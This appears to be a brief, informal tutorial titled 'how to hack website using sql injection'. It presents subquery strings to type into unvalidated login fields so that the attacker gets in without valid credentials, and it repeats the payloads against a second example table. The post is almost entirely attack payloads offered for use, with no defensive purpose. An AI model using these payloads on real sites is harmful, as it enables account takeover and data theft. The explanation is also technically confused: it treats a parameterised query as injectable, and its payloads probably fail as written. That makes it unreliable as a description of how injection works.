how to hack website using sql injection

if database built by your self if you use this type of query to login and have no validation in your field.

select * from tabelname where username=@username and password=@password and flag=1

then you simply write in username field.

username = (select top 1 username from tabelname where username like 'm%') and

password=(select top 1 password from tabelname where username =(select top 1 username from tabelname where username like 'm%'))

and then the query becomes work like this

select * from tabelname where username=(select top 1 username from tabelname where username like 'm%')
and password=(select top 1 password from tabelname where username =(select top 1 username from tabelname where username like 'm%'))
and flag=1

*************************************************************************************
select * from tableABC where userid=(select top 1 userid from tableABC where userid like 'm%') and
userpwd =(select  top 1 userpwd from tableABC where userpwd like 'v%')

username=(select top 1 userid from tableABC where userid like 'm%')
password=(select  top 1 userpwd from tableABC where userpwd like 'v%')